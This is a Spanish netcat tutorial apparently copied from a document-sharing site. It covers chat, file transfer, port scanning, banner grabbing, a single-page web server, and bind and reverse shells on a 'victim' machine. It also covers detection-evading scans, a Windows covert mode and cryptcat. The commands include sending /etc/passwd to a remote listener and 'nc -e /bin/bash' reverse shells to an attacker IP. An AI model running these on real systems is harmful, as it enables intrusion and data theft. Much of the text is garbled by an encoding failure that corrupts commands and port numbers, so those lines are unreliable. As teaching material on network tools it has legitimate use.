Está en la página 1de 8

NETCAT

1. Descripcin
Netcat es una utilidad imprescindible para todo profesional de la seguridad. Es denominada la "navaja suiza de la seguridad de red" porque sirve para innumerables cosas. Fue creada en 1995 por "El Hobbit" !obbit"avian.org#. $a versi%n original fue desarrollada para sistemas &ni' ( $inu' pero )eld *ond +eld"l,p!t.com# desarroll% la versi%n para )indo+s Nen 199.. El c%digo fuente de ambas versiones est/ disponible. No tiene interfaz gr/fica. 0e utiliza desde l1neas de comandos. url2 netcat.sourceforge.net

2. Utilidades
1. 3!at. 4. Enviar ( recibir fic!eros. 5. Escanear puertos. 6. 3aptura b/sica de banners. 5. 0ervidor )eb. 7. 3onseguir una s!ell de forma directa o inversa#.

2. 1. Chat
En una de las m/quina ponemos el netcat en modo servidor8 a la escuc!a. En la otra8 lo ponemos en modo cliente. 0ervidor2 3liente2 nc 9l 9p 5,,, nc :ip;servidor< :puerto;servidor<

nc 9l 9p

Net3at =ndica al netcat que debe actuar como un servidor8 es decir8 debe poner a la escuc!a un puerto Modo Servidor# =ndica el puerto por el que ponemos el servidor a la escuc!a. 0i no se pone8 netcat selecciona un puerto que est> libre de forma aleatoria. Es recomendable usar un puerto superior al 1,46.

3uando lanzamos el netcat en modo cliente8 este act?a como lo !ace un telnet. @e !ec!o8 se podr1a lanzar la m/quina cliente con un telnet telnet :ip;servidor< :puerto;servidor<#.

*odemos comprobar8 !aciendo un netstat8 como aparece un nuevo proceso escuc!ando por el puerto 5,,, por todas las interfaces ,.,.,.,25,,,#.

0i se quiere !acer la cone'i%n utilizando el protocolo &@* en vez de -3*8 se aAade tanto a cliente como a servidor el par/metro -u. Ejemplo2 nc 9l 9u 9p 5,,, BBC/quina 0ervidor nc 9u :ip;servidor< 5,,, BBC/quina 3liente *ara cerrar la cone'i%n entre el cliente ( el servidor !a( que pulsar 3trl D 3 en cualquiera de las consolas. Eer/s entonces que ambas se cortan. Esto se debe a que netcat en modo servidor tiene una limitaci%n que es que s%lo admite una cone'i%n al mismo tiempo. 0i se desea guardar la informaci%n de la conversaci%n mantenida8 bastar/ con utilizar el par/metro -o fichero. Este par/metro genera un log de las actividades del netcat en c%digo He'adecimal. Ejemplo2

0i luego editamos file$og vemos lo siguiente2

El s1mbolo

indica F@e la redG. El s1mbolo ! indica F*ara la redG.

2. 2. Enviar " #eci$ir %icheros


*ara pasar un fic!ero de un cliente al servidor8 !a( que !acer lo siguiente2 *onemos el servidor a la escuc!a2 nc 9l 9p 5,,, *asamos el fic!ero desde el cliente al servidor2 nc :ip;servidor< :puerto;servidor< BetcBpass+d Htra forma de pasar el fic!ero desde el cliente2 cat BetcBpass+d I nc :ip;servidor< :puerto;servidor< 3on este proceso8 se mostrar1a el fic!ero de contraseAas en el servidor. 0i queremos que ese fic!ero se almacene8 en vez de ser mostrado8 deber1amos lanzar el servidor as12 nc 9l 9p 5,,, < B!omeBloreta!urBprueba

J!ora tenemos en el servidor un fic!ero llamado prueba en B!omeBloreta!ur que contiene las contraseAas de la m/quina cliente su fic!ero BetcBpass+d#. -ambi>n se puede pasar el fic!ero del servidor al cliente de la siguiente forma2 cat BetcBpass+d I nc 9l 9p 5,,, nc local!ost 5,,, BBC/quina 0ervidora BBC/quina 3liente que recibe el arc!ivo

2. &. Escanear 'uertos


*ara escanear los puertos de una m/quina !a( que ejecutar2 nc 9z 9v 9+5 :m/quina< :rango;puertos<

9z 9v

Escanear puertos Codo verbose. 0i s%lo se pone una v8 se mostrar/n los puertos abiertos de la m/quina escaneada. 0i se pone -vv8 se mostrar/n todos los puertos escaneados8 indicando para cada uno si est/ abierto o cerrado

:rango;puertos< 0e debe introducir de qu> puerto a qu> puerto se quiere escanear Ejemplo2 191,46. 1 ( 1,46 tambi>n incluidos en el escaneo# -ambi>n se puede poner s%lo los puertos que se quiere escanear. Ejemplo2 nc 9z 9v local!ost 45 41 ., BBEscanea s%lo los puertos 458 41 ( ., 9+ :segundos< Especifica un tiempo para terminar. 3on esta opci%n le especificas un tiempo determinado para realizar cone'iones

0i quisieramos enviar los resultados del escaneo a un fic!ero deber1amos !acerlo as12 nc 9z 9vv :ip;maquina< 195,,, 2! fic!ero 0e utiliza el 2! porque la salida del escaneo no es la est/ndar8 sino que es la salida de errores 0-@EKK#.

0i no se introduce ning?n par/metro m/s8 se escanean los puertos -3*. 0i lo que se quiere es escanear los puertos &@*8 !abr/ que aAadir el par/metro 9u. 0i se desea !acer un escaneo de puertos paranoico8 es decir8 que va(a comprobando cada puerto cada muc!o tiempo para que no seamos detectados8 se puede incluir el par/metro -i. 3on este par/metro podemos indicar cada cuantos segundos debe netcat escanear un puerto. Ejemplo en el que se escanear/ cada 1, segundos un puerto2 nc 9z 9vv 9i 1, local!ost 191,46 0i adem/s le aAadimos el par/metro -r8 le estaremos indicando que !aga un escaneo de puertos aleatorio genera un patr%n ramdom de puertos locales o remotos#. Esto es mu( ?til para evitar patrones l%gicos de scanning. 0i queremos evitar mostrar la =* fuente del 0canning deberemos utilizar gate+a(s par/metro -( (ate)a"!#. Esta es una de las opciones m/s interesantes de netcat8 que permite utilizar Kouters como "puentes" de cone'i%n.

2. *. Captura $+sica de $anners


J veces es interesante observar los mensajes de bienvenida de diferentes servicios que corren en m/quinas para obtener datos relevantes sobre ellas que 0istema Hperativo utiliza8 que tipo de servidor es8...#. *ara ello8 utilizaremos netcat de la siguiente forma !ace el mismo papel que un telnet#2 nc :ip;m/quina< :puerto;servicio< Ejemplo2
loretahur:~# nc pc-web.dominio.com 80 ECHO / HTTP:1.0 HTTP/1.1 400 Bad Request Date: Mon, 02 Au 1!!! 0!:2":2" #MT $er%er: A&a'he/1.".2( )*n+,- De.+an #/*/0+nu, 1onne't+on: 'lose 1ontent2T3&e: te,t/ht4l5 'harset6+so2778!21 9:D;1T<P= HTM0 P*B0>1 ?2//>=T@//DTD HTM0 2.0//=/?A 9HTM0A9H=ADA 9T>T0=A400 Bad Request9/T>T0=A ... 9/B;D<A9/HTM0A

loretahur:~#B n' 2n%% 1"0.2(.100."C 70 )*/D/;E/- F1"0.2(.100."CG 70 )HHH- o&en GET / HTTP:1.0 HTTP/1.1 400 Bad Request $er%er: Microsoft-II /!.0 Date: Mon, 02 Au 2004 0!:80:2C #MT 1ontent2T3&e: te,t/ht4l 1ontent20en th: 7C 9ht4lA9headA9t+tleA=rror9/t+tleA9/headA9.od3AThe &ara4eter +s +n'orre't. 9/.od3A9/ht4lA sent 1(, r'%d 224

El par/metro 9n fuerza al netcat a aceptar s%lo direcciones =* num>ricas ( a no !acer uso del @N0 para nada. Netcat tiene la facultad de resolver nombres de dominio mediante un @N0 $ooLup8 con esta opci%n le especificamos que no lo !aga8 ( use solamente direcciones =*.

2. ,. Servidor -e$
0i lanzas en una consola el siguiente comando8 servir/s de forma puntual un solo fic!ero !tml2 nc Ml Mp ., :NombreJrc!ivo.!tml -endr/s un servidor +eb en tu m/quina que servir/ la p/gina especificada NombreJrc!ivo.!tml# a la pr%'ima cone'i%n que se !aga a tu =* por el puerto .,. Es decir8 si despu>s de lanzar el comando8 abres una ventana de tu e'plorador ( pones la siguiente url2 local!ost2.,NNombreJrc!ivo.!tml8 est/ se te cargar/ a partir del netcat. El inconveniente de esto es que cada vez que se desconecte el cliente8 !abr/ que lanzar otro nuevo netcat.

2. .. /$tener una shell directa0ente1


*ara lograr una s!ell directa8 el equipo v2cti0a tiene que ejecutar el siguiente comando2 nc 9l 9e BbinBs! 9p 7,,, $o que !acemos aqu1 es poner en la v1ctima un servidor a la escuc!a por el puerto 7,,,8 sirviendo para alguna cone'i%n remota el programa BbinBs!8 que es la s!ell de $inu'. El par/metro 9e sirve para llamar a ejecuci%n un programa. Ejemplos2 9e BbinBbas! 99< Ejecutar la s!ell de $inu' 9e cmd.e'e 99< Ejecutar el int>rprete de comandos de )indo+s

El par/metro 9c !ace lo mismo que 9e pero la diferencia entre ambos es que con 9c se ejecuta BbinBs! ( con 9e se ejecuta Bbin &na vez !ec!o esto en la v1ctima8 nos queda conectar con ella8 desde la 0+3uina atacante. *ara ello simplemente indicamos =* ( puerto lanzamos el netcat en 0odo cliente#2 nc 9vv :=*< :*&EK-H<

9vv :=*< :*&EK-H<

Codo Eerbose. 0irve para dar m/s datos detallados de la cone'i%n @irecci%n =* de la v1ctima *uerto por el que est/ escuc!ando el servidor

J!ora (a se puede ejecutar en la m/quina atacante cualquier comando porque cuenta con una s!ell en la v1ctima.

2. 4. /$tener una shell inversa1


3on este m>todo8 es la v1ctima quien se conecta a la m/quina atacante. En la 0+3uina atacante lanzamos el siguiente comando para que se ponga a la escuc!a por el puerto 7,,,2 nc 9vv 9l 9p 7,,, En la 0+3uina v2cti0a se pone el siguiente comando2 nc 9e BbinBbas! :ip;atacante< 7,,, *or tanto8 es la v1ctima la que sirve la s!ell ( se conecta al atacante8 que estar/ escuc!ando por el puerto 7,,, a la espera. Esto tiene las siguiente ventaja2si la v1ctima tiene una =* din/mica la =*

cambia cada ' tiempo#8 la m/quina atacante no sabr1a a que direcci%n debe conectarse. @e esta forma8 si es la v1ctima la que se conecta al atacante8 no importa que >sta tenga diferente =*.

&. 'ar+0etros para la versin de -indo)s

9d 9$

*ermite a netcat ejecutarse en Modo encu$ierto. Esta opci%n desvincula al netcat de la consola8 !aci>ndolo trabajar en segundo plano 3uando la cone'i%n entre el cliente ( el servidor se termina8 el servidor es restaurado con el mismo comando que estaba ejecutando anteriormente

*. Cr"ptcat
Esta !erramienta es la versi%n del netcat con la encriptaci%n t+ofis! de Oruce 0c!neier# !abilitada para la transmisi%n de los datos. 0e utiliza como el netcat pero se debe introducir una contraseAa entre cliente ( servidor mediante el par/metro 9L. Ejemplo2 C/quina servidora2 cr(ptcat 9L loreta!ur 9l 9p 5,,, C/quina cliente2 cr(ptcat 9L loreta!ur :ip;servidor< 5,,,

Manual escrito por Loretahur (lorena@loretahur.tk)

También podría gustarte